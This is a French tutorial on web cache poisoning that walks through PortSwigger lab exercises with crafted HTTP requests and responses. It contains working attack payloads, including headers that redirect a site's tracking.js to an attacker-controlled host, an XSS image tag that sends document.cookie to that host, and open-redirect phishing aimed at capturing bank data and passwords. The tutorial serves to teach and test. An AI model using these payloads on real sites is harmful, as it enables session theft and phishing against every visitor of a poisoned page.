Skip to main content

Cache Poisoning

Qu'est-ce que c'est ?

Le cache poisoning a été popularisé en 2018, bien que cette attaque existait déjà bien avant, comme le montre cet article de OWASP datant de 2009.
Pour résumer, cela consiste à empoisonner le cache qui va être servi aux prochains utilisateurs.
Cette attaque peut être anecdotique comme très puissante, puisqu’elle se couple avec d’autres vulnérabilités, comme les XSS ou l’Open Redirection.
On peut par exemple empoisonner un cache avec une XSS, qui va voler les cookies de session de tous les utilisateurs qui iront sur une certaine page.

Attention, cela n’est pas à confondre avec le Web Cache Deception (WCD), qui n’a ni la même méthodologie ni le même but.

Pour comprendre le fonctionnement, il faut déjà bien comprendre sur quoi repose cette attaque : le cache.

Le cache a pour but de réduire le temps de réponse du serveur web. Il agit comme un intermédiaire entre le serveur web et le client. Il permet d’enregistrer des pages web qui ont été précédemment demandées pour ensuite, les fournir à d’autres clients demandant la même page.
Il y a deux notions importantes qui caractérisent un serveur de cache :

  • Le temps pendant lequel une page est gardée en cache
  • Si la copie en mémoire cache sera délivrée ou si la requête sera transférée au serveur web

Voici comment se passe la mise en cache puis la distribution de ce dernier :

cache.png

Le header X-Cache: Hit indique qu'on a communiqué avec le cache, et le X-Cache: Miss directement avec le serveur web.
C'est dans ce deuxième cas que le cache va être généré, puisqu'il va mettre en cache la réponse retournée par le serveur web.
Et donc, que se passe t-il si l'on arrive à injecter du code arbitraire dans la réponse du serveur web lors d'un X-Cache: Miss ?

poison_fr.png
Si l'on profite du X-Cache: Miss pour injecter notre code arbitraire, il sera retourné et mis en cache, puis distribué à tous les autres visiteurs, sans aucune interaction requise de leur part !
Bien sûr, ce cache ne va pas rester éternellement : il est souvent définit par le header Cache-Control.
P
ar exemple : Cache-Control: max-age=180 veut dire que le cache va rester 3 minutes, jusqu'à la prochaine mise en cache.

Les cache keys

Imaginons deux utilisateurs provenant de pays différents, qui vont visiter une certaine page, comme la page d’accueil d’une banque.
Étant donné le nombre important de gens visitant le site, pour servir plus rapidement les visiteurs, la banque a décidé de mettre en place un cache, cela va permettre à la banque d’alléger les requêtes et de ne pas regénérer un contenu pour chaque requête comme expliqué auparavant.

Mais alors, comment déterminer quel cache envoyer ?
On ne va pas envoyer un cache polonais à un visiteur français, et c’est pour cela que sont mis en place des cache keys.
Ce sont les éléments d'une requête qui vont être déterminants pour distribuer le cache.
Dans notre exemple, cela va simplement être un cookie de langue (s’il y en a un), comme lang=fr.
Cela peut aussi être des headers ou des paramètres de requêtes GET.

image1.png

Les unkeyed inputs

Les unkeyed inputs seront notre vecteur d’attaque lors de cache poisoning.
On considère un unkeyed input, un champ qui n’est pas un cache key, mais qui se reflète dans la réponse ou agit sur la réponse (comme faire rediriger une page vers une autre).

Tout comme les Cache Keys, cela peut être des headers, des cookies ou des paramètres de requêtes GET.
On peut très bien les enchaîner (c’est-à-dire plusieurs unkeyed inputs à la fois), comme on le verra dans l’exemple “Hijacking de ressource”.

image-1590065107669.png

Trouver les unkeyed inputs peut être barbant, heureusement, pour nous faciliter la tâche, PortSwigger nous a concocté un merveilleux module : Param Miner.

Param Miner

Pour l’utiliser au sein de Burp, c’est très simple :

  1. Installer Param Miner et l’activer
  2. Faire un clique droit sur la requête voulue
  3. Choisir si on veut chercher les headers, cookies ou paramètres GET
  4. Lancer le scan
  5. On peut voir le scan en live grâce au module Flow, sinon, aller dans Extender -> Extensions -> Param Miner -> Output (cela peut prendre du temps)

Voici un exemple d’output de Param Miner :

Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Initiating header bruteforce on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Identified parameter on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net:
x-forwarded-host
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Completed attack on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net

On voit donc dans cet exemple que Param Miner a trouvé le header X-Forwarded-Host comme étant un unkeyed input.

Cache buster

Le cache buster est un paramètre qui est ajouté dans la requête pour cacher seulement une page précise. En effet, la page web demandée ainsi que ses paramètres sont des cache keys.
Cela nous permet de ne pas empoisonner le cache de tous les visiteurs lors d’essais.

image6.png

Les headers

Pour que vous suivez au mieux cet article, voici les headers que nous allons évoquer, accompagnés d’une courte description.

Concernant le cache :

X-Cache Indique si la réponse provient du serveur de cache (X-Cache : hit) ou si elle vient du serveur web (X-Cache: miss).

Age

Indique l’âge du cache en secondes.
Cache-Control

Indique les directives de cache.
Par exemple, sa durée de vie en secondes (max-age), ou encore où la réponse peut être mise en cache
(public -> partout, private -> dans le cache du navigateur).

Voir plus

Vary Définit les headers qui vont servir de cache keys.

Autres :

X-Forwarded-Host Permet d’identifier l’hôte initialement demandé par le client dans le header Host de la requête HTTP.
X-Forwarded-Scheme Similaire à X-Forwarded-Proto, il permet d’identifier le protocole (HTTP / HTTPS) utilisé pour se connecter au proxy.
X-Original-Url Indique l’URL initialement demandée.

Exemples

Nous allons maintenant passer à la pratique, en utilisant les excellents labs de PortSwigger sur le Cache Poisoning (il y en a 6 en tout, mais nous allons seulement les survoler pour mettre en pratique les aspects les plus importants du Cache Poisoning).
Dans un soucis de lisibilité, nous avons remplacé toutes les URL d’Exploit Servers par hideandsec.sh.

Unkeyed input basique

Dans cet exemple nous allons voir comment nous pouvons empoisonner le cache d’un site en injectant notre propre code Javascript.

En utilisant le proxy Burp sur la page d'accueil, nous pouvons voir ce début de réponse :

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 2
X-Cache: hit
X-XSS-Protection: 0
Content-Length: 10627


<!DOCTYPE html>
<html>
    <head>
        <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
        <script type="text/javascript" src="//acb71fdd1e124550803245dc009d00fe.web-security-academy.net/resources/js/tracking.js"></script>
        <title>Web cache poisoning with an unkeyed header</title>
    </head>
    <body>
[...]

Grâce à Param Miner, nous pouvons trouver un unkeyed input : X-Forwarded-Host.
Effectivement, en lui donnant une valeur nous remarquons que l’url du script tracking.js change :

GET /?x=buster HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 2
X-Cache: hit
X-XSS-Protection: 0
Content-Length: 10583


<!DOCTYPE html>
<html>
    <head>
        <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
        <script type="text/javascript" src="//hideandsec.sh/resources/js/tracking.js"></script>
        <title>Web cache poisoning with an unkeyed header</title>
    </head>
    <body>
[...]

Bingo ! Nous pouvons empoisonner le cache pendant 30 secondes pour tous ceux qui viendront voir cette même page !
Attention, pour bien empoisonner le cache il faut envoyer la requête de façon à recevoir un X-Cache: miss qui veut dire qu'on a bien envoyé la requête directement au serveur web (et pas au serveur de cache), puis X-Cache: hit, pour vérifier que nous avons bien empoisonné le cache.
C'est surtout une confirmation, pour être sûr que de ne pas avoir que des X-Cache: miss.

Maintenant nous avons deux possibilités :

  • Mettre l’url d’un serveur web que nous possédons dans le X-Forwarded-Host avec un fichier /resources/js/tracking.js dans lequel nous pouvons mettre notre propre payload Javascript à faire charger par les victimes
  • Ou injecter directement le payload Javascript dans le header X-Forwarded-Host, mais cela fonctionne seulement si le serveur ne filtre pas certains caractères

Utilisons la première méthode.
Mettons notre payload alert(‘oupsi’) dans https://hideandsec.sh/resources/js/tracking.js, re-empoisonnons le cache puis rechargeons la page :

image5.png

Et voilà, c’est aussi simple que ça, tous ceux qui accéderont à la page d’accueil du site dans les 30 secondes auront ce message.
Bien sûr il est possible d'injecter n'importe quel code Javascript et donc de voler des cookies ou faire une CSRF etc… Après cela revient à une simple stored XSS.

Hijacking de ressource

Imaginons aller sur un site web et recevoir ce début de réponse :

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 24
X-Cache: hit
X-XSS-Protection: 0
Connection: close
Content-Length: 10576


<!DOCTYPE html>
<html>
    <head>
        <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
        <script type="text/javascript" src="/resources/js/tracking.js"></script>
        <title>Web cache poisoning with multiple headers</title>
    </head>
    <body>
        <div theme="ecommerce">
[...]

On peut voir :

  • Qu’il y a un cache, grâce aux headers Cache-Control, Age et X-Cache
  • Qu’il nous fait charger un script “tracking.js

Lançons maintenant l’extension Param Miner de Burp Suite pour bruteforce les unkeyed inputs dans les headers :

Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Initiating header bruteforce on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Identified parameter on ace61ff21ef38bb68028159d009a000c.web-security-academy.net:
x-forwarded-scheme
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Completed attack on ace61ff21ef38bb68028159d009a000c.web-security-academy.net

Param Miner a trouvé le header X-Forwarded-Scheme comme étant un unkeyed input.
Effectivement, lorsque nous lui donnons n’importe quelle valeur autre que https, comme nothttps ou http, cela nous renvoie une 302 Found (Redirection) :

GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 302 Found
Location: https://ace61ff21ef38bb68028159d009a000c.web-security-academy.net/?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0

On voit que le X-Cache a comme valeur Miss, cela veut dire qu’il ne nous a pas retourné le cache car il a expiré (Age: 0), qu’on a réussi à communiquer avec le serveur et qu’il a généré le nouveau cache en utilisant cette réponse, pour une durée de 30 secondes maximum (max-age=0).
Ces valeurs concernant le cache peuvent être très utiles pour développer un petit script qui va automatiquement re-empoisonner le cache en fonction de la valeur du header Age, donc dans notre cas toutes les 30 secondes.

Cela nous fait un début de Open Redirection, mais pas encore, puisqu’elle ne redirige pas vers un hôte tiers.
Heureusement qu’il nous reste le header X-Forwarded-Host !

Le header X-Forwarded-Host (XFH) est un header standard qui permet d’identifier l’hôte initialement demandé par le client dans le header Host de la requête HTTP.

Les noms d’hôte et ports des proxys inverses (load balancers, CDNs) peuvent différencier du serveur initial qui traite la requête, dans ce cas le header X-Forwarded-Host est utile pour déterminer quel hôte a été initialement utilisé.
(Traduit de MDN)

Il y a donc des chances pour que le serveur considère notre X-Forwarded-Host comme l’hôte initiant la requête, et par conséquent l’utiliser pour générer les liens de redirection :

GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 302 Found
Location: https://hideandsec.sh/?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0

Succès !
Le cache est maintenant empoisonné avec une Open Redirection sur notre propre serveur.
C’est bien beau, mais on ne peut pas aller bien loin avec ça, à part en faisant du phishing.

Heureusement qu’on a un autre moyen d’injecter du code : le fichier tracking.js qu’on a trouvé au début !

GET /resources/js/tracking.js?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Encoding: gzip
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 29
X-Cache: hit
X-XSS-Protection: 0
Connection: close
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');

Voici ce que nous donne la requête sans modification.
Retentons l’opération d’avant grâce à X-Forwarded-Host et X-Forwarded-Scheme :

GET /resources/js/tracking.js?x=buster HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 302 Found
Location: https://hideandsec.sh/resources/js/tracking.js?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0

A présent, toutes les pages qui vont charger la ressource /resources/js/tracking.js vont la charger sur notre propre serveur.
Configurons maintenant le payload.
Pour cette démonstration, je vais juste faire exécuter un alert(“Oupsi doupsi”) sur la page d’accueil du site.

PortSwigger nous proposent un Exploit Server pour faire ça, alors mettons le payload dans le fichier /resources/js/tracking.js :

image4.png

C’est important de reproduire le path affiché dans la redirection, sinon le navigateur n’arrivera pas à charger notre payload.

Enlevons notre cache buster ?x=buster pour empoisonner le cache de tous les utilisateurs, renvoyons notre requête infectée jusqu’à avoir un X-Cache: miss, et observons le résultat sur le navigateur !

image3.png

Et voilà, chaque nouvel utilisateur qui va visiter cette page va exécuter notre payload Javascript, sans aucune autre interaction requise de leur part !

Pour résumer

On a empoisonné le /resources/js/tracking.js en provoquant une redirection 302 vers notre propre serveur, puis on a recréé un faux /resources/js/tracking.js sur notre serveur, en y plaçant notre payload Javascript.
Par conséquent, n’importe quel utilisateur allant sur cette page va charger notre propre tracking.js à cause de la redirection 302.

Cache Poisoning ciblé

Imaginons maintenant, durant une mission Red Team par exemple, vouloir cibler une seule personne.
Pour cela, il faudrait que le serveur utilise des cookies propres à un utilisateur en tant que cache key (ex: User-Agent, Identifiant de session), pour empoisonner uniquement les caches qui seront retournés à cet utilisateur.
On peut par exemple savoir si c’est le cas quand le serveur nous retourne le header “Vary: User-Agent“, mais ça peut très bien être le cas même s’il ne nous retourne pas ce dernier.
Ne jamais faire confiance aux headers.

Prenons le cas d’un site web qui vous autorise à poster des commentaires, en utilisant du HTML (ou que vous ayez trouvé une XSS dessus).
Vous pouvez insérer un commentaire de ce genre :

<h2>Ahaha super post ! J’adore</h2>
<img src="hideandsec.sh/thxforyouruseragent" />

Le navigateur va naturellement essayer de charger l’image, donc faire une requête à notre serveur, avec ses User-Agents.

172.31.30.141   2020-05-09 06:36:41 +0000 "GET /thxforyouruseragent HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"

Jusque là rien d’incroyable, mais utilisons maintenant ces User-Agents pour notre cache poisoning sur l’exemple d’avant.

GET /resources/js/tracking.js HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36

HTTP/1.1 302 Found
Location: https://hideandsec.sh/resources/js/tracking.js
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0

Vous remarquerez qu’on a remplacé le User-Agent par celui qu’on a volé.
Par conséquent, si le cache est configuré pour prendre en compte le User-Agent comme cache key, cette redirection va s’effectuer uniquement sur les utilisateurs ayant ce même User-Agent (dont notre cible).

Local Route Poisoning

Imaginons pour cet exemple, qu’après avoir lancé un Param Miner sur les headers d’un site, nous nous retrouvons avec les headers X-Original-Url ou X-Rewrite-Url comme unkeyed inputs.

En plus du danger qu’ils représentent (CWE-436), nous pouvons provoquer une requête qui va demander une page mais nous en faire retourner une autre, qui sera elle gardée en cache.
Voyez cet exemple :

GET / HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /admin

Le site va nous retourner le contenu de la page /admin, et cela sans redirection !
Donc si on injecte cette requête en cache (X-Cache: Miss -> X-Cache: Hit), tous les utilisateurs vont recevoir le contenu de la page /admin à la place de la page d’accueil.

Pas très intéressant, me direz-vous, étant donné qu’on peut uniquement utiliser des pages du site ciblé, et non les nôtres.
C’est pour cela qu’il faut coupler cette vulnérabilité à une autre.

Open Redirection

Voici un exemple de ce qu’on peut faire avec une Open Redirection :

GET /transactions.php HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /logout.php?callback=https://hideandsec.sh/transactions.php

On demande /transactions.php, sauf que derrière, le serveur va nous retourner /logout.php?callback=https://hideandsec.sh/transactions.php.

Donc il va d’abord aller sur logout.php, et dans les deux cas (si le serveur a une session ouverte ou non), il va faire une redirection sur le callback (notre page de transactions), tandis que si on avait fait une open redirection sur le callback de login.php et que le serveur n’a pas de session ouverte, il aurait chargé la page de connexion au lieu du callback.

Cela revient donc à faire un phishing plus élaboré, puisque qu’aucune ingénierie sociale n’est nécessaire pour emmener une victime à cliquer sur un lien redirigeant vers notre faux site, et surtout, tous les utilisateurs seront piégés.
On pourra ensuite récupérer toutes les données bancaires de nos victimes, et même les identifiants, en demandant de confirmer le mot de passe et/ou l’identité lors d’une transaction.

XSS

Pour escape cette restriction de rediriger uniquement vers une page du site concerné, on peut utiliser une XSS.
Imaginons une XSS sur la page /search?q=<script>alert(“Votre site est tres securise”)</script>.
Une fois qu’on peut injecter du javascript, on peut faire un peu ce qu’on veut, comme injecter un keylogger avec BeEF, voler les cookies, rediriger vers un site externe,...

Voici un exemple de requête qui va voler les cookies des victimes :

GET /dashboard HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /search?q=<img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />

Si le serveur n’accepte pas cette requête, encodez-la, voir encodez-la deux fois.

Dans cette requête, le serveur va nous renvoyer le résultat de la recherche avec notre image <img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />
Une fois le contenu de la page mis en cache, toute personne essayant d’aller sur son
/dashboard se retrouvera sur la page de recherche, avec notre image qu’il n’arrivera pas à charger, en envoyant ses cookies.
On utilise ici le /dashboard et non la page d’accueil, pour être sûr de récupérer les cookies de personnes connectées.

On aurait très bien pu aussi faire rediriger le /change_password sur le notre avec <script>window.location.replace("https://hideandsec.sh/change_password");</script>, et refaire du phishing comme pour l’Open Redirection.
Si la victime ne fait pas attention au nom de domaine qui a changé entre temps, nous pourrions récupérer 2 mots de passes de la victime, l’ancien et le nouveau, qu’on pourra ensuite utiliser pour faire du Password Spraying.


Auteurs

mxrch

Contributeurs

Tartofraise